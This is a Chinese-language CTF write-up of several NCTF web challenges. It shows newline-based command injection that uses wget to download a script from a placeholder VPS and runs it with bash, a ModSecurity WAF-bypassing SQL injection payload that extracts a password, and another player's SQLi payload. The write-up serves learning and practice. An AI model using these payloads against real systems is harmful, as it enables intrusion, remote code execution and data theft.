打完NCTF休息了一下,总体感觉还行,学到了很多。
这一题也卡了我很久,因为复现过DASCTF三月赛,一直在想着有没有可以替代反引号或绕过的方法,搞了好久都没出,在学长的提示下学到了一个方法,利用wget命令将自己的恶意脚本传到服务器上,然后再用bash命令调用。
有了这个提示后一直在尝试如何下载成功,但脚本中是这样的形式。
可以在自己的虚拟机试一下,有了echo后无法直接echo wget xxx这样来下载。
如果仅仅以字符串直接传进去
'wget''%09''http://vps/feng123.sh'
会发现其会回显,然后也会传进log.txt中
wget http://vps/feng123.sh
也就是执行了echo wget xxx > ./tpm/log.txt这条命令,但是并不会将wget xxx当成命令来执行,只会将其当成echo命令的参数,而反引号和$()都被过滤,这时就要用到%0A了,换行符。
当我们将上边的命令左右两边加上%0a
%0A'wget'%09'http://vps/feng123.sh'%0A
发现成功下载恶意脚本,这里思考一下为何会这样:
python调试不太会,只能自己稍微分析一下。
当加上换行符时:
命令执行后并不会在log.txt中留下痕迹,猜测一下,换行符其实是把之前一整个命令拆开,分成了两段。
先把过滤给去掉,然后还需要设计闭合一下前后代码防止其抛出异常。
'''1'%0Aecho `ls`> ./tmp/log2.txt%0A'ls'''
发现自己加进去那一条echo代码确实执行了,并且会发现前边那一条echo命令也执行成功了。
然后继续尝试三段代码同时成功:(将主代码中的log.txt改为logs.txt)
'''2'%0Aecho `ls`> ./tmp/log2.txt%0A'echo'''
三串代码全部执行,说明我的想法是没错的,接下来就可以直接远程下载恶意脚本,然后bash执行。
payload:
?num=%0A'wget'%09'http://vps/test.sh'%0A
?num=%0A'bash'%09'test.sh'%0A
第二个是一个sql注入绕过,hint提示waf是modsecurity,直接上网搜索sql modsecurity bypass。
SQLi bypass at PL1(CRS 3.2.0) · Issue #1727 · SpiderLabs/owasp-modsecurity-crs (github.com)
找到了绕过方法,然后就找password即可,因为题目直接给出了所在表,直接select查询即,本来我是直接查的是flag,但发现显示不存在,后边发现提示找password,所以找password字段即可。
payload:
?id=@.:=right(right((select%20hex(password)%20from%20users.info),1111),1111)%20union%23%0adistinctrow%0bselect@.
得到password后hex转码就是flag。
在install.php中得到了版本为v3.1.2,然后在网上找到了相应的文件上传漏洞,但是还需要管理员密码,尝试爆破未成功。
然后就是伪造cookie,网上的脚本。
然后利用漏洞文件上传。
这一题很无语,找到了类似的题,但并不理解。
结束后看了其他师傅们的payload:
?id=1&?=`in%20()%20union%20select%201,flag%20from%20flag;
看来找对地方也不一定能看懂人家的讲解,太fw了。